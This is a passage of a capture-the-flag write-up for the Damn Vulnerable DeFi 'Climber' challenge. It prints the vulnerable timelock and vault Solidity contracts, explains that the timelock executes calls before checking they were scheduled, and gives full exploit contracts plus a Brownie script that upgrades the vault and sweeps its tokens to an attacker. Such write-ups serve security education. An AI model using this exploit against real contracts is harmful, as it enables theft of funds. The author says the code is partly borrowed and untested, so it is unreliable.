master_copy, wallet_registry, wallet_factory, token, ATTACKER_ACCOUNT, ALICE, BOB, CHARLIE, DAVID = scenario_setup()

users = [ALICE, BOB, CHARLIE, DAVID]

exploit(users, wallet_factory, wallet_registry,
master_copy, token, ATTACKER_ACCOUNT)

after(victims, wallet_registry, dvt, attacker)

Climber

There’s a secure vault contract guarding 10 million DVT tokens. The vault is upgradeable, following the UUPS pattern.

The owner of the vault, currently a timelock contract, can withdraw a very limited amount of tokens every 15 days.

On the vault there’s an additional role with powers to sweep all tokens in case of an emergency.

On the timelock, only an account with a “Proposer” role can schedule actions that can be executed 1 hour later.

Your goal is to empty the vault.

ClimberTimelock.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
* @title ClimberTimelock
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract ClimberTimelock is AccessControl {
using Address for address;

bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");

// Possible states for an operation in this timelock contract
enum OperationState {
Unknown,
Scheduled,
ReadyForExecution,
Executed
}

// Operation data tracked in this contract
struct Operation {
uint64 readyAtTimestamp; // timestamp at which the operation will be ready for execution
bool known; // whether the operation is registered in the timelock
bool executed; // whether the operation has been executed
}

// Operations are tracked by their bytes32 identifier
mapping(bytes32 => Operation) public operations;

uint64 public delay = 1 hours;

constructor(
address admin,
address proposer
) {
_setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE);
_setRoleAdmin(PROPOSER_ROLE, ADMIN_ROLE);

// deployer + self administration
_setupRole(ADMIN_ROLE, admin);
_setupRole(ADMIN_ROLE, address(this));

_setupRole(PROPOSER_ROLE, proposer);
}

function getOperationState(bytes32 id) public view returns (OperationState) {
Operation memory op = operations[id];

if(op.executed) {
return OperationState.Executed;
} else if(op.readyAtTimestamp >= block.timestamp) {
return OperationState.ReadyForExecution;
} else if(op.readyAtTimestamp > 0) {
return OperationState.Scheduled;
} else {
return OperationState.Unknown;
}
}

function getOperationId(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata dataElements,
bytes32 salt
) public pure returns (bytes32) {
return keccak256(abi.encode(targets, values, dataElements, salt));
}

function schedule(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata dataElements,
bytes32 salt
) external onlyRole(PROPOSER_ROLE) {
require(targets.length > 0 && targets.length < 256);
require(targets.length == values.length);
require(targets.length == dataElements.length);

bytes32 id = getOperationId(targets, values, dataElements, salt);
require(getOperationState(id) == OperationState.Unknown, "Operation already known");

operations[id].readyAtTimestamp = uint64(block.timestamp) + delay;
operations[id].known = true;
}

/** Anyone can execute what has been scheduled via `schedule` */
function execute(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata dataElements,
bytes32 salt
) external payable {
require(targets.length > 0, "Must provide at least one target");
require(targets.length == values.length);
require(targets.length == dataElements.length);

bytes32 id = getOperationId(targets, values, dataElements, salt);

for (uint8 i = 0; i < targets.length; i++) {
targets[i].functionCallWithValue(dataElements[i], values[i]);
}

require(getOperationState(id) == OperationState.ReadyForExecution);
operations[id].executed = true;
}

function updateDelay(uint64 newDelay) external {
require(msg.sender == address(this), "Caller must be timelock itself");
require(newDelay <= 14 days, "Delay must be 14 days or less");
delay = newDelay;
}

receive() external payable {}
}

ClimberVault.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import "./ClimberTimelock.sol";

/**
* @title ClimberVault
* @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner.
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract ClimberVault is Initializable, OwnableUpgradeable, UUPSUpgradeable {

uint256 public constant WITHDRAWAL_LIMIT = 1 ether;
uint256 public constant WAITING_PERIOD = 15 days;

uint256 private _lastWithdrawalTimestamp;
address private _sweeper;

modifier onlySweeper() {
require(msg.sender == _sweeper, "Caller must be sweeper");
_;
}

/// @custom:oz-upgrades-unsafe-allow constructor
constructor() initializer {}

function initialize(address admin, address proposer, address sweeper) initializer external {
// Initialize inheritance chain
__Ownable_init();
__UUPSUpgradeable_init();

// Deploy timelock and transfer ownership to it
transferOwnership(address(new ClimberTimelock(admin, proposer)));

_setSweeper(sweeper);
_setLastWithdrawal(block.timestamp);
_lastWithdrawalTimestamp = block.timestamp;
}

// Allows the owner to send a limited amount of tokens to a recipient every now and then
function withdraw(address tokenAddress, address recipient, uint256 amount) external onlyOwner {
require(amount <= WITHDRAWAL_LIMIT, "Withdrawing too much");
require(block.timestamp > _lastWithdrawalTimestamp + WAITING_PERIOD, "Try later");

_setLastWithdrawal(block.timestamp);

IERC20 token = IERC20(tokenAddress);
require(token.transfer(recipient, amount), "Transfer failed");
}

// Allows trusted sweeper account to retrieve any tokens
function sweepFunds(address tokenAddress) external onlySweeper {
IERC20 token = IERC20(tokenAddress);
require(token.transfer(_sweeper, token.balanceOf(address(this))), "Transfer failed");
}

function getSweeper() external view returns (address) {
return _sweeper;
}

function _setSweeper(address newSweeper) internal {
_sweeper = newSweeper;
}

function getLastWithdrawalTimestamp() external view returns (uint256) {
return _lastWithdrawalTimestamp;
}

function _setLastWithdrawal(uint256 timestamp) internal {
_lastWithdrawalTimestamp = timestamp;
}

// By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
function _authorizeUpgrade(address newImplementation) internal onlyOwner override {}
}

Our goal is to steal all the tokens from climberVault. This will be easy if we access the sweepFunds() function. To get that, we need to be the owner. So we need to upgrade the contract to our custom contract and execute the sweepFunds() function. If we look at the climberTimelock contract, it allows us to execute the code so that we can execute the _authorizeUpgrade() function. Since this contract is the owner, it can execute the function. However, to schedule our operations in the climberTimelock contract, we need to have a Proposer role, however inside the execute() function, the contract first executes the given operations and then check if the operations are scheduled, so if we give one of the operations to execute the schedule() function and make the delay to 0 by executing UpdateDelay() function now our operations are scheduled. They are valid, so now we can execute the _authorizeUpgrade() function to our MaliciousClimberVault, which sets the attacker as sweeper, and the attacker can execute sweepFunds() to steal all the tokens.

  • This solution is partly taken from this-repository since I’m unable to run the challenge in my environment.

climber_Exploit.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
// SPDX-License-Identifier: UNDEFINED
pragma solidity ^0.8.0;

interface IClimberTimeLock {
function updateDelay(uint64 newDelay) external;

function grantRole(bytes32 role, address account) external;

function schedule(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata dataElements,
bytes32 salt
) external;

function execute(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata dataElements,
bytes32 salt
) external;
}

contract climber_Exploit {
address victimAddress;
address vaultAddress;
address maliciousContract;
address owner;
// bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");
bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");
bool alreadyScheduled = false;

constructor(
address _vaulTimeLock,
address _vault,
address _maliciousContract
) {
victimAddress = _vaulTimeLock;
vaultAddress = _vault;
maliciousContract = _maliciousContract;
owner = msg.sender;
}

function attack() public {
address[] memory targets = new address[](4);
targets[0] = victimAddress;
targets[1] = victimAddress;
targets[2] = vaultAddress;
targets[3] = address(this);

uint256[] memory values = new uint256[](4);
values[0] = 0;
values[1] = 0;
values[2] = 0;
values[3] = 0;

bytes[] memory data = new bytes[](4);
bytes memory updateDelayData = abi.encodeWithSelector(0x24adbc5b, 0);
bytes memory grantRoleData = abi.encodeWithSelector(
0x2f2ff15d,
PROPOSER_ROLE,
address(this)
);
bytes memory upgradeData = abi.encodeWithSelector(
0x3659cfe6,
maliciousContract
);

bytes memory schedule = abi.encodeWithSelector(0x0045ef3e, "");

data[0] = updateDelayData;
data[1] = grantRoleData;
data[2] = upgradeData;
data[3] = schedule;

IClimberTimeLock(victimAddress).execute(targets, values, data, 0x00);
}

function _schedule() public {
address[] memory targets = new address[](4);
targets[0] = victimAddress;
targets[1] = victimAddress;
targets[2] = vaultAddress;
targets[3] = address(this);

uint256[] memory values = new uint256[](4);
values[0] = 0;
values[1] = 0;
values[2] = 0;
values[3] = 0;

bytes[] memory data = new bytes[](4);
bytes memory updateDelayData = abi.encodeWithSelector(0x24adbc5b, 0);
bytes memory grantRoleData = abi.encodeWithSelector(
0x2f2ff15d,
PROPOSER_ROLE,
address(this)
);
bytes memory upgradeData = abi.encodeWithSelector(
0x3659cfe6,
maliciousContract
);
bytes memory schedule = abi.encodeWithSelector(0x0045ef3e, "");

data[0] = updateDelayData;
data[1] = grantRoleData;
data[2] = upgradeData;
data[3] = schedule;

IClimberTimeLock(victimAddress).schedule(targets, values, data, 0x00);
}
}

MaliciousClimberVault.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// import "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/contracts/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/contracts/token/ERC20/IERC20Upgradeable.sol";

import "../ClimberTimelock.sol";

contract MaliciousClimberVault is
Initializable,
OwnableUpgradeable,
UUPSUpgradeable
{
uint256 public constant WITHDRAWAL_LIMIT = 0;
uint256 public constant WAITING_PERIOD = 0;

uint256 private _lastWithdrawalTimestamp;
address private _sweeper;

modifier onlySweeper() {
require(msg.sender == _sweeper, "Caller must be sweeper");
_;
}

/// @custom:oz-upgrades-unsafe-allow constructor
constructor() initializer {}

function initialize(
address admin,
address proposer,
address sweeper
) external initializer {
// Initialize inheritance chain
__Ownable_init();
// __UUPSUpgradeable_init();

// Deploy timelock and transfer ownership to it
//transferOwnership(address(new ClimberTimelock(admin, proposer)));

_setSweeper(msg.sender);
_setLastWithdrawal(block.timestamp);
_lastWithdrawalTimestamp = block.timestamp;
}

// Allows the owner to send a limited amount of tokens to a recipient every now and then
function withdraw(
address tokenAddress,
address recipient,
uint256 amount
) external onlyOwner {
require(amount <= WITHDRAWAL_LIMIT, "Withdrawing too much");
require(
block.timestamp > _lastWithdrawalTimestamp + WAITING_PERIOD,
"Try later"
);

_setLastWithdrawal(block.timestamp);

IERC20Upgradeable token = IERC20Upgradeable(tokenAddress);
require(token.transfer(recipient, amount), "Transfer failed");
}

// Allows trusted sweeper account to retrieve any tokens
function sweepFunds(address tokenAddress) external onlySweeper {
IERC20Upgradeable token = IERC20Upgradeable(tokenAddress);
require(
token.transfer(_sweeper, token.balanceOf(address(this))),
"Transfer failed"
);
}

function getSweeper() external view returns (address) {
return _sweeper;
}

function _setSweeper(address newSweeper) public {
_sweeper = newSweeper;
}

function getLastWithdrawalTimestamp() external view returns (uint256) {
return _lastWithdrawalTimestamp;
}

function _setLastWithdrawal(uint256 timestamp) internal {
_lastWithdrawalTimestamp = timestamp;
}

// By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
function _authorizeUpgrade(address newImplementation)
internal
override
onlyOwner
{}
}

climber.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from brownie import accounts, Contract, ClimberTimelock, ClimberVault, DamnValuableToken, ERC1967Proxy, ZERO_ADDRESS, climber_Exploit, MaliciousClimberVault, chain
from web3 import Web3

VAULT_TOKEN_BALANCE = '10000000 ether'


def scenario_setup():

ATTACKER_ACCOUNT = accounts.add()
PROPOSER_ACCOUNT = accounts.add()
SWEEPER_ACCOUNT = accounts.add()

accounts[0].transfer(ATTACKER_ACCOUNT, '0.1 ether')

assert ATTACKER_ACCOUNT.balance() == '0.1 ether'

climber_vault_implementation = ClimberVault.deploy({'from': accounts[0]})
climber_vault_data = climber_vault_implementation.initialize.encode_input(
accounts[0], PROPOSER_ACCOUNT, SWEEPER_ACCOUNT)
climber_vault_proxy = ERC1967Proxy.deploy(
climber_vault_implementation, climber_vault_data, {'from': accounts[0]})

climber_vault = Contract.from_abi(
"Climber", climber_vault_proxy, ClimberVault.abi)

assert climber_vault.getSweeper() == SWEEPER_ACCOUNT
assert climber_vault.getLastWithdrawalTimestamp() > 0
assert climber_vault.owner() != ZERO_ADDRESS
assert climber_vault.owner() != accounts[0]

time_lock_address = climber_vault.owner()
time_lock = ClimberTimelock.at(time_lock_address)

assert time_lock.hasRole(time_lock.PROPOSER_ROLE(),
PROPOSER_ACCOUNT) == True
assert time_lock.hasRole(time_lock.ADMIN_ROLE(), accounts[0]) == True

damn_valuable_token = DamnValuableToken.deploy({'from': accounts[0]})
# damn_valuable_token.initialize(
# "DamnValuableToken", "DVT", 10 * VAULT_TOKEN_BALANCE)
damn_valuable_token.transfer(climber_vault, VAULT_TOKEN_BALANCE)

return time_lock, climber_vault, ATTACKER_ACCOUNT, damn_valuable_token

# https://docs.openzeppelin.com/contracts/3.x/access-control


def exploit(vault, vault_time_lock, attacker_account, dvt):
malicious_climber_vault = MaliciousClimberVault.deploy(
{'from': attacker_account})
attacker_contract = climber_Exploit.deploy(
vault_time_lock, vault, malicious_climber_vault, {'from': attacker_account})
tx = attacker_contract.attack({'from': attacker_account})
n = Contract.from_abi("maliciousVault", vault, MaliciousClimberVault.abi)
n._setSweeper(attacker_account, {'from': attacker_account})
vault.sweepFunds(dvt, {'from': attacker_account})


def after(token, vault, attacker):
assert token.balanceOf(vault) == 0
assert token.balanceOf(attacker) == VAULT_TOKEN_BALANCE


def main():
time_lock, climber_vault, ATTACKER_ACCOUNT, damn_valuable_token = scenario_setup()

exploit(climber_vault, time_lock, ATTACKER_ACCOUNT, damn_valuable_token)

after(damn_valuable_token, climber_vault, ATTACKER_ACCOUNT)